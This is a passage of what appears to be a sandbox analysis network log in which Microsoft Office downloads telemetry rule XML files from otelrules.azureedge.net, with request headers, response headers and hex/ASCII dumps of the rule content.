2024-11-14 16:24:30 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 14 Nov 2024 16:24:30 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA642BF4" x-ms-request-id: 46cd4d21-b01e-0097-7b90-364f33000000 x-ms-version: 2018-03-28 x-azure-ref: 20241114T162430Z-16547b76f7fcjqqhhC1DFWrrrc0000000kx00000000085dt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-14 16:24:30 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120678" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
82	192.168.2.6	49792	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-14 16:24:30 UTC	192	OUT	GET /rules/rule120679v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-14 16:24:30 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 14 Nov 2024 16:24:30 GMT Content-Type: text/xml Content-Length: 174 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91D80E15" x-ms-request-id: c3d6966f-401e-0016-3ad8-2b53e0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241114T162430Z-16547b76f7fkj7j4hC1DFW0a9g0000000kz000000000056f x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-14 16:24:30 UTC	174	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 54 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 31 22 20 2f 3e 0d 0a 20 20 3c 2f 54 3e 0d 0a 3c 2f 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120679" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> </S> <T> <S T="1" /> </T></R>

Session ID	Source IP	Source Port	Destination IP	Destination Port
83	192.168.2.6	49793	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-14 16:24:30 UTC	192	OUT	GET /rules/rule120680v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-14 16:24:30 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 14 Nov 2024 16:24:30 GMT Content-Type: text/xml Content-Length: 1952 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B956B0F3D" x-ms-request-id: 31833cf5-a01e-0070-33a3-34573b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241114T162430Z-r178fb8d765zlhnthC1DFWvdu000000001c0000000007ctz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-14 16:24:30 UTC	1952	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 31 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120680" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <SS T="1" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> <R T="2" R="120682" /> <F T="3"> <O T="LT"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
84	192.168.2.6	49794	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-14 16:24:30 UTC	192	OUT	GET /rules/rule120681v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-14 16:24:31 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 14 Nov 2024 16:24:30 GMT Content-Type: text/xml Content-Length: 958 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:58 GMT ETag: "0x8DC582BA0A31B3B" x-ms-request-id: 3b18ef07-001e-0028-3ba8-34c49f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241114T162430Z-r178fb8d765bflfthC1DFWuy9n00000002u000000000gy0p x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-14 16:24:31 UTC	958	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 38 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120681" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120608" /> <R T="2" R="120680" /> <TH T="3"> <O T="AND"> <L> <O T="EQ"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
85	192.168.2.6	49795	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-14 16:24:30 UTC	192	OUT	GET /rules/rule120682v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-14 16:24:31 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 14 Nov 2024 16:24:30 GMT Content-Type: text/xml Content-Length: 501 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:18 GMT ETag: "0x8DC582BACFDAACD" x-ms-request-id: 6028abc9-b01e-0002-6508-2c1b8f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241114T162430Z-16547b76f7fnlcwwhC1DFWz6gw0000000m10000000008sg1 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-14 16:24:31 UTC	501	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 74 61 72 74 75 70 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120682" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryStartup" /> <R T="2" R="120100" /> <SS T="3" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> </S> <C T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
86	192.168.2.6	49796	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-14 16:24:31 UTC	193	OUT	GET /rules/rule120602v10s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-14 16:24:31 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 14 Nov 2024 16:24:31 GMT Content-Type: text/xml Content-Length: 2592 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5B890DB" x-ms-request-id: f6eefceb-a01e-001e-33a0-3449ef000000 x-ms-version: 2018-03-28 x-azure-ref: 20241114T162431Z-r178fb8d765tq2dphC1DFW278s00000002m000000000myqc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-14 16:24:31 UTC	2592	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 32 22 20 56 3d 22 31 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 41 70 70 6c 69 63 61 74 69 6f 6e 41 6e 64 4c 61 6e 67 75 61 67 65 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120602" V="10" DC="SM" EN="Office.System.SystemHealthMetadataApplicationAndLanguage" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa=

Session ID	Source IP	Source Port	Destination IP	Destination Port
87	192.168.2.6	49797	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-14 16:24:31 UTC	192	OUT	GET /rules/rule120601v3s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-14 16:24:31 UTC	515	IN	HTTP/1.1 200 OK Date: Thu, 14 Nov 2024 16:24:31 GMT Content-Type: text/xml Content-Length: 3342 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:34 GMT ETag: "0x8DC582B927E47E9" x-ms-request-id: 87e60a3d-901e-0067-3833-36b5cb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241114T162431Z-1749fc9bdbdjgplnhC1DFWhrks00000002rg0000000035rh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-14 16:24:31 UTC	3342	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 31 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 4f 53 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120601" V="3" DC="SM" EN="Office.System.SystemHealthMetadataOS" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC" xmlns=""> <RI

Session ID	Source IP	Source Port	Destination IP	Destination Port
88	192.168.2.6	49798	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-14 16:24:31 UTC	193	OUT	GET /rules/rule224901v11s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-14 16:24:31 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 14 Nov 2024 16:24:31 GMT Content-Type: text/xml Content-Length: 2284 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:13 GMT ETag: "0x8DC582BCD58BEEE" x-ms-request-id: a14a0ed7-201e-0096-78aa-31ace6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241114T162431Z-16547b76f7f22sh5hC1DFWyb4w0000000kx00000000008vh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-14 16:24:31 UTC	2284	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 31 22 20 56 3d 22 31 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4c 69 63 65 6e 73 69 6e 67 2e 4f 66 66 69 63 65 43 6c 69 65 6e 74 4c 69 63 65 6e 73 69 6e 67 2e 44 6f 4c 69 63 65 6e 73 65 56 61 6c 69 64 61 74 69 6f 6e 22 20 41 54 54 3d 22 63 31 61 30 64 62 30 31 32 37 39 36 34 36 37 34 61 30 64 36 32 66 64 65 35 61 62 30 66 65 36 32 2d 36 65 63 34 61 63 34 35 2d 63 65 62 63 2d 34 66 38 30 2d 61 61 38 33 2d 62 36 62 39 64 33 61 38 36 65 64 37 2d 37 37 31 39 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 54 3d 22 55 70 6c 6f 61 64 2d 4d 65 64 69 75 6d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224901" V="11" DC="SM" EN="Office.Licensing.OfficeClientLicensing.DoLicenseValidation" ATT="c1a0db0127964674a0d62fde5ab0fe62-6ec4ac45-cebc-4f80-aa83-b6b9d3a86ed7-7719" SP="CriticalCensus" T="Upload-Medium"

Session ID	Source IP	Source Port	Destination IP	Destination Port
89	192.168.2.6	49800	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-14 16:24:31 UTC	192	OUT	GET /rules/rule701200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-14 16:24:32 UTC	515	IN	HTTP/1.1 200 OK Date: Thu, 14 Nov 2024 16:24:31 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC681E17" x-ms-request-id: bf771d7d-301e-001f-16a1-34aa3a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241114T162431Z-r178fb8d765dbpv9hC1DFWma70000000012000000000h7vu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-14 16:24:32 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
90	192.168.2.6	49799	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-14 16:24:31 UTC	192	OUT	GET /rules/rule701201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-14 16:24:32 UTC	538	IN	HTTP/1.1 200 OK Date: Thu, 14 Nov 2024 16:24:31 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:51 GMT ETag: "0x8DC582BE3E55B6E" x-ms-request-id: 4e98fbea-b01e-0002-08d2-2c1b8f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241114T162431Z-16547b76f7f775p5hC1DFWzdvn0000000kyg000000002vf7 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-14 16:24:32 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml"

Session ID	Source IP	Source Port	Destination IP	Destination Port
91	192.168.2.6	49801	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-14 16:24:32 UTC	192	OUT	GET /rules/rule700201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-14 16:24:32 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 14 Nov 2024 16:24:32 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:50 GMT ETag: "0x8DC582BE39DFC9B" x-ms-request-id: 931c766e-f01e-0099-5ba8-349171000000 x-ms-version: 2018-03-28 x-azure-ref: 20241114T162432Z-1749fc9bdbd9f5rdhC1DFWbers00000002y0000000007f8x x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-14 16:24:32 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord"

Session ID	Source IP	Source Port	Destination IP	Destination Port
92	192.168.2.6	49802	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-14 16:24:32 UTC	192	OUT	GET /rules/rule700200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-14 16:24:32 UTC	538	IN	HTTP/1.1 200 OK Date: Thu, 14 Nov 2024 16:24:32 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF66E42D" x-ms-request-id: d5f81faf-001e-0017-2ed2-2c0c3c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241114T162432Z-16547b76f7f76p6chC1DFWctqw0000000m2g000000002q95 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-14 16:24:32 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
93	192.168.2.6	49803	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
